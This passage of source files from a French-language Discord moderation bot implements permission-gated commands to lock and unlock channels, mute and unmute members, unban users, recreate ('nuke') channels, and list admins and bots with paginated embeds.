ADD_REACTIONS: false 45 | }); 46 | }, `Salon fermé par ${message.author.tag}`); 47 | } catch (e) { 48 | ; 49 | } 50 | message.channel.send(`Les membres ne peuvent plus parler dans <#${channel.id}>`); 51 | 52 | } 53 | 54 | } 55 | 56 | } catch (error) { 57 | return; 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /commands/mods/mutelist.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const {MessageEmbed} = require("discord.js") 5 | function sleep(ms) { 6 | return new Promise((resolve) => { 7 | setTimeout(resolve, ms)})} 8 | module.exports = { 9 | name: 'mutelist', 10 | aliases: [], 11 | run: async (client, message, args, prefix, color) => { 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | 15 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 16 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 17 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 18 | }) 19 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 20 | let Muted = await db.fetch(`mRole_${message.guild.id}`); 21 | let muteRole = await message.guild.roles.cache.get(Muted) || message.guild.roles.cache.find(role => role.name === `muet`) || message.guild.roles.cache.find(role => role.name === `Muted`) || message.guild.roles.cache.find(role => role.name === `Mute`) 22 | 23 | if(!muteRole) return message.channel.send(new Discord.MessageEmbed().setColor(color).setTitle("Aucun mute en cours")) 24 | if(muteRole.members.size === 0 || undefined || false || null) return message.channel.send(new Discord.MessageEmbed().setColor(color).setTitle("Aucun mute en cours")) 25 | let p0 = 0; 26 | let p1 = 15; 27 | let page = 1; 28 | 29 | const embed = new Discord.MessageEmbed() 30 | .setTitle('Mute en cours') 31 | .setDescription(muteRole.members 32 | .map(r => r) 33 | .filter(x => message.guild.members.cache.get(x.user.id)) 34 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 35 | .slice(p0, p1) 36 | ) 37 | 38 | .setColor(color) 39 | .setFooter(`Total: ${muteRole.members.size} • ${client.config.name}`) 40 | 41 | 42 | message.channel.send(embed).then(async tdata => { 43 | if (muteRole.members.size > 15) { 44 | const B1 = new MessageButton() 45 | .setLabel("◀") 46 | .setStyle("gray") 47 | .setID('mutelist1'); 48 | 49 | const B2 = new MessageButton() 50 | .setLabel("▶") 51 | .setStyle("gray") 52 | .setID('mutelist2'); 53 | 54 | const bts = new MessageActionRow() 55 | .addComponent(B1) 56 | .addComponent(B2) 57 | tdata.edit("", { embed: embed, components: [bts] }) 58 | setTimeout(() => { 59 | tdata.edit("", { 60 | components: [], embed: new Discord.MessageEmbed() 61 | .setTitle('Mute en cours') 62 | .setDescription(muteRole.members 63 | .map(r => r) 64 | .filter(x => message.guild.members.cache.get(x.user.id)) 65 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 66 | .slice(p0, p1) 67 | ) 68 | 69 | .setColor(color) 70 | .setFooter(`Total: ${muteRole.members.size} • ${client.config.name}`) 71 | 72 | 73 | }) 74 | // message.channel.send(embeds) 75 | }, 60000 * 5) 76 | client.on("clickButton", (button) => { 77 | 78 | if (button.id === "mutelist1") { 79 | if (button.clicker.user.id !== message.author.id) return ; 80 | button.reply.defer(true) 81 | 82 | p0 = p0 - 15; 83 | p1 = p1 - 15; 84 | page = page - 1 85 | 86 | if (p0 < 0) { 87 | return 88 | } 89 | if (p0 === undefined || p1 === undefined) { 90 | return 91 | } 92 | 93 | 94 | embed .setDescription(muteRole.members 95 | .map(r => r) 96 | .filter(x => message.guild.members.cache.get(x.user.id)) 97 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 98 | .slice(p0, p1) 99 | ) 100 | 101 | .setColor(color) 102 | .setFooter(`Total: ${muteRole.members.size} • ${client.config.name}`) 103 | tdata.edit(embed); 104 | 105 | } 106 | if (button.id === "mutelist2") { 107 | if (button.clicker.user.id !== message.author.id) return ; 108 | button.reply.defer(true) 109 | 110 | p0 = p0 + 15; 111 | p1 = p1 + 15; 112 | 113 | page++; 114 | 115 | if (p1 > muteRole.members.size + 15) { 116 | return 117 | } 118 | if (p0 === undefined || p1 === undefined) { 119 | return 120 | } 121 | 122 | 123 | embed .setDescription(muteRole.members 124 | .map(r => r) 125 | .filter(x => message.guild.members.cache.get(x.user.id)) 126 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 127 | .slice(p0, p1) 128 | ) 129 | 130 | .setColor(color) 131 | .setFooter(`Total: ${muteRole.members.size} • ${client.config.name}`) 132 | tdata.edit(embed); 133 | 134 | } 135 | }) 136 | } 137 | 138 | }) 139 | 140 | } 141 | } 142 | } -------------------------------------------------------------------------------- /commands/mods/muterole.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const {MessageEmbed} = require("discord.js") 5 | 6 | module.exports = { 7 | name: 'muterole', 8 | aliases: [], 9 | 10 | run: async (client, message, args, prefix, color) => { 11 | let perm = "" 12 | message.member.roles.cache.forEach(role => { 13 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 14 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 15 | }) 16 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 17 | let Muted = await db.fetch(`mRole_${message.guild.id}`); 18 | 19 | let muterole = await message.guild.roles.cache.get(Muted) || message.guild.roles.cache.find(role => role.name === `muet`) || message.guild.roles.cache.find(role => role.name === `Muted`) || message.guild.roles.cache.find(role => role.name === `Mute`) 20 | if(muterole) { 21 | const embed = new Discord.MessageEmbed() 22 | embed.setColor(color) 23 | embed.setDescription(`**Il existe déjà un rôle muet : <@&${muterole.id}>**\nVérification des permissions du rôles muet en cours`) 24 | message.channel.send(embed).then(async mm => { 25 | const embed2= new Discord.MessageEmbed() 26 | embed2.setTitle("Les permissions du rôle muet ont été mises à jour") 27 | embed2.setColor(color) 28 | 29 | const channels = message.guild.channels.cache.filter(ch => ch.type !== 'category'); 30 | channels.forEach(channel => { 31 | 32 | 33 | channel.createOverwrite(muterole, { 34 | SEND_MESSAGES: false, 35 | CONNECT: false, 36 | ADD_REACTIONS: false 37 | }, "Muterole") 38 | embed2.setDescription(`**__D'autres permission déjà existantes peuvent rendre innefficace le mute pour certains rôles dans les salons suivants :__**\n\n**${channel.name}**\n- ${muterole.name}\n`, true) 39 | embed2.setFooter("Tous les rôles ayant la permissons \"envoyer des messages\" en vert seront insensible au mute") 40 | 41 | }) 42 | 43 | message.channel.send(embed2) 44 | }) 45 | return; 46 | } 47 | if(!muterole) { 48 | const embed = new Discord.MessageEmbed() 49 | embed.setColor(color) 50 | embed.setTitle(`Création d'un rôle muet`) 51 | message.channel.send(embed).then(async m => { 52 | muterole = await message.guild.roles.create({ 53 | data: { 54 | name: 'muet', 55 | permissions: 0 56 | } 57 | }) 58 | message.guild.channels.cache.forEach(channel => channel.createOverwrite(muterole, { 59 | SEND_MESSAGES: false, 60 | CONNECT: false, 61 | ADD_REACTIONS: false 62 | }, "Muterole")) 63 | db.set(`mRole_${message.guild.id}`, `${muterole.id}`) 64 | const e = new Discord.MessageEmbed() 65 | e.setColor(color) 66 | e.setDescription(`***Rôle muet créé :*** ${muterole}`) 67 | return m.edit("",e) 68 | })} 69 | } 70 | } 71 | } -------------------------------------------------------------------------------- /commands/mods/renew.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'renew', 7 | aliases: ["nuke","purge"], 8 | 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | if(args[0] === "all") { 12 | 13 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true ) { 14 | const channels = message.channel.guild.channels.cache.filter(ch => ch.type !== 'category'); 15 | 16 | channels.forEach(async channele => { 17 | await channele.clone({ 18 | name: channele.name, 19 | permissions: channele.permissionsOverwrites, 20 | type: channele.type, 21 | topic: channele.withTopic, 22 | nsfw: channele.nsfw, 23 | birate: channele.bitrate, 24 | userLimit: channele.userLimit, 25 | rateLimitPerUser: channele.rateLimitPerUser, 26 | permissions: channele.withPermissions, 27 | position: channele.rawPosition, 28 | reason: `Tout les salon recréé par ${message.author.tag} (${message.author.id})` 29 | }) 30 | .catch(err => {}) 31 | channele.delete().catch(err => {}) }) 32 | 33 | 34 | 35 | } 36 | 37 | } else { 38 | let perm = "" 39 | message.member.roles.cache.forEach(role => { 40 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 41 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 42 | }) 43 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 44 | let channel = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) || message.channel 45 | if(channel === message.channel) { 46 | try { 47 | let ee = await channel.clone({ 48 | name: channel.name, 49 | permissions: channel.permissionsOverwrites, 50 | type: channel.type, 51 | topic: channel.withTopic, 52 | nsfw: channel.nsfw, 53 | birate: channel.bitrate, 54 | userLimit: channel.userLimit, 55 | rateLimitPerUser: channel.rateLimitPerUser, 56 | permissions: channel.withPermissions, 57 | position: channel.rawPosition, 58 | reason: `Salon recréé par ${message.author.tag} (${message.author.id})` 59 | }) 60 | channel.delete() 61 | ee.send(`${message.author} salon recréé`) 62 | } catch (error) { 63 | return; 64 | } 65 | } else { 66 | 67 | try { 68 | let ee = await channel.clone({ 69 | name: channel.name, 70 | permissions: channel.permissionsOverwrites, 71 | type: channel.type, 72 | topic: channel.withTopic, 73 | nsfw: channel.nsfw, 74 | birate: channel.bitrate, 75 | userLimit: channel.userLimit, 76 | rateLimitPerUser: channel.rateLimitPerUser, 77 | permissions: channel.withPermissions, 78 | position: channel.rawPosition, 79 | reason: `Salon recréé par ${message.author.tag} (${message.author.id})` 80 | }) 81 | channel.delete() 82 | ee.send(`${message.author} salon recréé`) 83 | 84 | } catch (error) { 85 | return; 86 | } 87 | 88 | message.channel.send("Salon recréé : "+channel.name) 89 | } 90 | 91 | 92 | } 93 | } 94 | } 95 | } -------------------------------------------------------------------------------- /commands/mods/unban.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | function unban(message, user, authorcooldown) { 5 | message.guild.members.unban(user.id, {reason: `Debannis par ${message.author.tag}`}).then(r => { 6 | authorcooldown.limit++ 7 | setTimeout(() => { 8 | authorcooldown.limit = authorcooldown.limit - 1 9 | }, 120000); 10 | }) 11 | }; 12 | const cooldown = {} 13 | module.exports = { 14 | name: 'unban', 15 | aliases: [], 16 | run: async (client, message, args, prefix, color) => { 17 | 18 | if(args[0] == "all") { 19 | let perm = "" 20 | message.member.roles.cache.forEach(role => { 21 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 22 | }) 23 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 24 | try { 25 | message.guild.fetchBans().then(bans => { 26 | if (bans.size == 0) { 27 | message.channel.send("Aucune personne n'est ban.") 28 | } else { 29 | bans.forEach(ban => { 30 | setInterval(()=> {if(ban.user) message.guild.members.unban(ban.user.id, `Unbanall par ${message.author.tag}`).catch(err => {});}, 250) 31 | 32 | }) 33 | let chx = db.get(`logmod_${message.guild.id}`); 34 | 35 | const logsmod = message.guild.channels.cache.get(chx) 36 | 37 | message.channel.send(`${bans.size} ${bans.size > 1 ? "utilisateurs ont": "utilisateur a"} été unban`); 38 | if(logsmod) logsmod.send( 39 | new Discord.MessageEmbed() 40 | // .setAuthor(message.author.tag, message.author.displayAvatarURL({dynamic: true})) 41 | .setColor(color) 42 | // .setTitle(`<:protection:847072581382438953> Modération • Type: **\`bannissement\`**`) 43 | // .setTimestamp() 44 | // .setDescription(` **Bannissement de**: ${user}\n**Auteur**: ${message.author} \n**Salon**: ${message.channel}\n**Temps de réponse**: ${client.ws.ping}ms`) 45 | .setDescription(`${message.author} a **unban** tout les membres bannis`)) 46 | 47 | } 48 | 49 | } 50 | ) 51 | } catch (error) { 52 | return; 53 | } } 54 | } else if(args[0]) { 55 | let perm = "" 56 | message.member.roles.cache.forEach(role => { 57 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 58 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 59 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 60 | }) 61 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 62 | let chx = db.get(`logmod_${message.guild.id}`); 63 | const logsmod = message.guild.channels.cache.get(chx) 64 | if(!cooldown[message.author.id]) cooldown[message.author.id] = { limit: 0 } 65 | var authorcooldown = cooldown[message.author.id] 66 | if(authorcooldown.limit > 5) return message.channel.send(`Vous avez atteint votre limite de **bannisement**, veuillez retenter plus tard!`); 67 | 68 | let user = client.users.cache.get(args[0]) || await client.users.fetch(args[0]) 69 | if(!user) return message.channel.send(`Aucun membre trouvée pour: \`${args[0]}\``) 70 | 71 | const banList = await message.guild.fetchBans(); 72 | const bannedUser = banList.find(slm => slm.id === user.id); 73 | if(!bannedUser) return message.channel.send(`Aucun membre banni trouvée pour: \`${args[0]}\``) 74 | 75 | message.channel.send(`${user.tag} n'est plus banni`); 76 | unban(message, user, authorcooldown) 77 | if(logsmod) logsmod.send( 78 | new Discord.MessageEmbed() 79 | // .setAuthor(message.author.tag, message.author.displayAvatarURL({dynamic: true})) 80 | .setColor(color) 81 | // .setTitle(`<:protection:847072581382438953> Modération • Type: **\`bannissement\`**`) 82 | // .setTimestamp() 83 | // .setDescription(` **Bannissement de**: ${user}\n**Auteur**: ${message.author} \n**Salon**: ${message.channel}\n**Temps de réponse**: ${client.ws.ping}ms`) 84 | .setDescription(`${message.author} a **unban** ${user}`)) 85 | 86 | 87 | }} 88 | 89 | } 90 | } -------------------------------------------------------------------------------- /commands/mods/unlock.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'unlock', 7 | aliases: [], 8 | run: async (client, message, args, prefix, color) => { 9 | 10 | try { 11 | if(args[0] === "all") { 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 15 | }) 16 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 17 | message.guild.channels.cache.forEach((channel, id) => { 18 | channel.updateOverwrite(message.guild.roles.everyone, { 19 | SEND_MESSAGES: true, 20 | SPEAK: true, 21 | }) 22 | }, `Tout les salon fermé par ${message.author.tag}`); 23 | 24 | 25 | 26 | message.channel.send(`${message.guild.channels.cache.size} salons ouvert`); 27 | 28 | } 29 | } else { 30 | let perm = "" 31 | message.member.roles.cache.forEach(role => { 32 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 33 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 34 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 35 | }) 36 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 37 | let channel = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) ||message.channel 38 | 39 | 40 | message.guild.roles.cache.forEach(role => { 41 | channel.createOverwrite(role, { 42 | SEND_MESSAGES: true, 43 | SPEAK: true, 44 | }); 45 | }, `Salon fermé par ${message.author.tag}`); 46 | 47 | message.channel.send(`Les membres peuvent parler dans <#${channel.id}>`); 48 | 49 | 50 | 51 | }} 52 | 53 | } catch (error) { 54 | return; 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /commands/mods/unmute.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | function unban(message, user, authorcooldown) { 5 | message.guild.members.unban(user.id, {reason: `Debannis par ${message.author.tag}`}).then(r => { 6 | authorcooldown.limit++ 7 | setTimeout(() => { 8 | authorcooldown.limit = authorcooldown.limit - 1 9 | }, 120000); 10 | }) 11 | }; 12 | module.exports = { 13 | name: 'unmute', 14 | aliases: [], 15 | run: async (client, message, args, prefix, color) => { 16 | let chx = db.get(`logmod_${message.guild.id}`); 17 | const logschannel = message.guild.channels.cache.get(chx) 18 | if(args[0] == "all") { 19 | let perm = "" 20 | message.member.roles.cache.forEach(role => { 21 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 22 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 23 | }) 24 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 25 | let Muted = await db.fetch(`mRole_${message.guild.id}`); 26 | let muteRole = await message.guild.roles.cache.get(Muted) || message.guild.roles.cache.find(role => role.name === `muet`) || message.guild.roles.cache.find(role => role.name === `Muted`) || message.guild.roles.cache.find(role => role.name === `Mute`) 27 | if(!muteRole) return message.channel.send(`Je ne trouve pas le rôle **muet**`) 28 | if(muteRole.members.size === 0 || undefined || false || null) return message.channel.send(`Tous les membres ont été unmute`) 29 | message.channel.send(`Tous les membres ont été unmute`) 30 | muteRole.members 31 | .forEach((m,i) => {m.send(`Vous avez été **unmute** de ${message.guild.name}`) 32 | m.roles.remove(muteRole.id) 33 | db.set(`mute_${message.guild.id}_${m.user.id}`, false) 34 | 35 | 36 | }) 37 | } 38 | } else if(args[0]) { 39 | let perm = "" 40 | message.member.roles.cache.forEach(role => { 41 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 42 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 43 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 44 | }) 45 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 46 | const user = message.mentions.members.first()|| message.guild.members.cache.get(args[0]) 47 | 48 | if (!user) { 49 | return message.channel.send(`Aucun membre trouvé pour \`${args[0]}\``); 50 | } 51 | let Muted = await db.fetch(`mRole_${message.guild.id}`); 52 | let muterole = await message.guild.roles.cache.get(Muted) || message.guild.roles.cache.find(role => role.name === `muet`) || message.guild.roles.cache.find(role => role.name === `Muted`) || message.guild.roles.cache.find(role => role.name === `Mute`) 53 | 54 | if(!muterole) return message.channel.send(`Erreur : aucun rôle muet enregistré`) 55 | if (user.roles.cache.has(muterole)) { 56 | return message.channel.send(`${user} n'était pas mute`); 57 | } 58 | 59 | user.roles.remove(muterole, `Unmute par ${message.author.tag}`) 60 | 61 | message.channel.send(`${user} a été **unmute**`); 62 | db.set(`mute_${message.guild.id}_${user.id}`, null) 63 | 64 | user.send(`Vous avez été **unmute** sur ${message.guild.name}`); 65 | 66 | 67 | logschannel.send(new Discord.MessageEmbed() 68 | .setColor(color) 69 | 70 | .setDescription(`${message.author} a **unmute** ${user}`) 71 | ) 72 | } 73 | } 74 | } 75 | } -------------------------------------------------------------------------------- /commands/utilitaire/alladmin.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const {MessageEmbed} = require('discord.js') 3 | const db = require('quick.db') 4 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 5 | function sleep(ms) { 6 | return new Promise((resolve) => { 7 | setTimeout(resolve, ms)})} 8 | module.exports = { 9 | name: 'alladmin', 10 | aliases: [], 11 | 12 | run: async (client, message, args, prefix, color) => { 13 | 14 | let perm = "" 15 | message.member.roles.cache.forEach(role => { 16 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 17 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 18 | }) 19 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 20 | var str_filtrer = message.guild.members.cache.filter(member => member.hasPermission("ADMINISTRATOR") && !member.user.bot) 21 | if(str_filtrer.size === 0 || undefined || false || null) return message.channel.send(new Discord.MessageEmbed().setColor(color).setTitle("Aucun admin présents")) 22 | 23 | let p0 = 0; 24 | let p1 = 10; 25 | let page = 1; 26 | 27 | const embed = new Discord.MessageEmbed() 28 | .setTitle('Liste des admins présents') 29 | .setDescription(str_filtrer 30 | .map(r => r) 31 | .filter(x => message.guild.members.cache.get(x.user.id)) 32 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 33 | .slice(p0, p1) 34 | ) 35 | 36 | .setColor(color) 37 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 38 | 39 | 40 | message.channel.send(embed).then(async tdata => { 41 | if (10 < str_filtrer.size) { 42 | const B1 = new MessageButton() 43 | .setLabel("◀") 44 | .setStyle("gray") 45 | .setID('alladm1'); 46 | 47 | const B2 = new MessageButton() 48 | .setLabel("▶") 49 | .setStyle("gray") 50 | .setID('alladm2'); 51 | 52 | const bts = new MessageActionRow() 53 | .addComponent(B1) 54 | .addComponent(B2) 55 | tdata.edit("", { embed: embed, components: [bts] }) 56 | setTimeout(() => { 57 | tdata.edit("", { 58 | components: [], embed: new Discord.MessageEmbed() 59 | .setTitle('Liste des admins présents') 60 | .setDescription(str_filtrer 61 | .map(r => r) 62 | .filter(x => message.guild.members.cache.get(x.user.id)) 63 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 64 | .slice(p0, p1) 65 | ) 66 | 67 | .setColor(color) 68 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 69 | 70 | 71 | }) 72 | // message.channel.send(embeds) 73 | }, 60000 * 5) 74 | client.on("clickButton", (button) => { 75 | if (button.id === "alladm1") { 76 | if (button.clicker.user.id !== message.author.id) return ; 77 | 78 | button.reply.defer(true) 79 | 80 | p0 = p0 - 10; 81 | p1 = p1 - 10; 82 | page = page - 1 83 | 84 | if (p0 < 0) { 85 | return 86 | } 87 | if (p0 === undefined || p1 === undefined) { 88 | return 89 | } 90 | 91 | 92 | embed .setDescription(str_filtrer 93 | .map(r => r) 94 | .filter(x => message.guild.members.cache.get(x.user.id)) 95 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 96 | .slice(p0, p1) 97 | ) 98 | 99 | .setColor(color) 100 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 101 | tdata.edit(embed); 102 | 103 | } 104 | if (button.id === "alladm2") { 105 | if (button.clicker.user.id !== message.author.id) return ; 106 | 107 | button.reply.defer(true) 108 | 109 | p0 = p0 + 10; 110 | p1 = p1 + 10; 111 | 112 | page++; 113 | 114 | if (p1 > str_filtrer.size + 10) { 115 | return 116 | } 117 | if (p0 === undefined || p1 === undefined) { 118 | return 119 | } 120 | 121 | 122 | embed .setDescription(str_filtrer 123 | .map(r => r) 124 | .filter(x => message.guild.members.cache.get(x.user.id)) 125 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 126 | .slice(p0, p1) 127 | ) 128 | 129 | .setColor(color) 130 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 131 | tdata.edit(embed); 132 | 133 | } 134 | }) 135 | } 136 | 137 | }) 138 | 139 | } 140 | } 141 | } -------------------------------------------------------------------------------- /commands/utilitaire/allbot.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const {MessageEmbed} = require('discord.js') 3 | 4 | const db = require('quick.db') 5 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 6 | function sleep(ms) { 7 | return new Promise((resolve) => { 8 | setTimeout(resolve, ms)})} 9 | module.exports = { 10 | name: 'allbot', 11 | aliases: [], 12 | 13 | run: async (client, message, args, prefix, color) => { 14 | 15 | let perm = "" 16 | message.member.roles.cache.forEach(role => { 17 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 18 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 19 | }) 20 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 21 | 22 | var str_filtrer = message.guild.members.cache.filter(member => member.user.bot) 23 | if(str_filtrer.size === 0 || undefined || false || null) return message.channel.send(new Discord.MessageEmbed().setColor(color).setTitle("Aucun bot présents")) 24 | 25 | 26 | let p0 = 0; 27 | let p1 = 15; 28 | let page = 1; 29 | 30 | const embed = new Discord.MessageEmbed() 31 | .setTitle('Liste des bot présents') 32 | .setDescription(str_filtrer 33 | .map(r => r) 34 | .filter(x => message.guild.members.cache.get(x.user.id)) 35 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 36 | .slice(p0, p1) 37 | ) 38 | 39 | .setColor(color) 40 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 41 | 42 | 43 | message.channel.send(embed).then(async tdata => { 44 | if (str_filtrer.size > 15) { 45 | const B1 = new MessageButton() 46 | .setLabel("◀") 47 | .setStyle("gray") 48 | .setID('allbot1'); 49 | 50 | const B2 = new MessageButton() 51 | .setLabel("▶") 52 | .setStyle("gray") 53 | .setID('allbot2'); 54 | 55 | const bts = new MessageActionRow() 56 | .addComponent(B1) 57 | .addComponent(B2) 58 | tdata.edit("", { embed: embed, components: [bts] }) 59 | setTimeout(() => { 60 | tdata.edit("", { 61 | components: [], embed: new Discord.MessageEmbed() 62 | .setTitle('Liste des bot présents') 63 | .setDescription(str_filtrer 64 | .map(r => r) 65 | .filter(x => message.guild.members.cache.get(x.user.id)) 66 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 67 | .slice(p0, p1) 68 | ) 69 | 70 | .setColor(color) 71 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 72 | 73 | 74 | }) 75 | // message.channel.send(embeds) 76 | }, 60000 * 5) 77 | client.on("clickButton", (button) => { 78 | if (button.id === "allbot1") { 79 | if (button.clicker.user.id !== message.author.id) return ; 80 | button.reply.defer(true) 81 | 82 | p0 = p0 - 15; 83 | p1 = p1 - 15; 84 | page = page - 1 85 | 86 | if (p0 < 0) { 87 | return 88 | } 89 | if (p0 === undefined || p1 === undefined) { 90 | return 91 | } 92 | 93 | 94 | embed .setDescription(str_filtrer 95 | .map(r => r) 96 | .filter(x => message.guild.members.cache.get(x.user.id)) 97 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 98 | .slice(p0, p1) 99 | ) 100 | 101 | .setColor(color) 102 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 103 | tdata.edit(embed); 104 | 105 | } 106 | if (button.id === "allbot2") { 107 | if (button.clicker.user.id !== message.author.id) return ; 108 | button.reply.defer(true) 109 | 110 | p0 = p0 + 15; 111 | p1 = p1 + 15; 112 | 113 | page++; 114 | 115 | if (p1 > str_filtrer.size + 15) { 116 | return 117 | } 118 | if (p0 === undefined || p1 === undefined) { 119 | return 120 | } 121 | 122 | 123 | embed .setDescription(str_filtrer 124 | .map(r => r) 125 | .filter(x => message.guild.members.cache.get(x.user.id)) 126 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 127 | .slice(p0, p1) 128 | ) 129 | 130 | .setColor(color) 131 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 132 | tdata.edit(embed); 133 | 134 | } 135 | }) 136 | } 137 | 138 | }) 139 | 140 | } 141 | } 142 | } -------------------------------------------------------------------------------- /commands/utilitaire/allbotadmin.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const {MessageEmbed} = require('discord.js') 3 | const db = require('quick.db') 4 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 5 | function sleep(ms) { 6 | return new Promise((resolve) => { 7 | setTimeout(resolve, ms)})} 8 | module.exports = { 9 | name: 'allbotadmin', 10 | aliases: [], 11 | 12 | run: async (client, message, args, prefix, color) => { 13 | 14 | let perm = "" 15 | message.member.roles.cache.forEach(role => { 16 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 17 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 18 | }) 19 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 20 | 21 | var str_filtrer = message.guild.members.cache.filter(member => member.hasPermission("ADMINISTRATOR") && member.user.bot) 22 | if(str_filtrer.size === 0 || undefined || false || null) return message.channel.send(new Discord.MessageEmbed().setColor(color).setTitle("Aucun bot admins présents")) 23 | 24 | 25 | let p0 = 0; 26 | let p1 = 15; 27 | let page = 1; 28 | 29 | const embed = new Discord.MessageEmbed() 30 | .setTitle('Liste des bots admins présents') 31 | .setDescription(str_filtrer 32 | .map(r => r) 33 | .filter(x => message.guild.members.cache.get(x.user.id)) 34 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 35 | .slice(p0, p1) 36 | ) 37 | 38 | .setColor(color) 39 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 40 | 41 | 42 | message.channel.send(embed).then(async tdata => { 43 | if (str_filtrer.size > 15) { 44 | const B1 = new MessageButton() 45 | .setLabel("◀") 46 | .setStyle("gray") 47 | .setID('allbotadm1'); 48 | 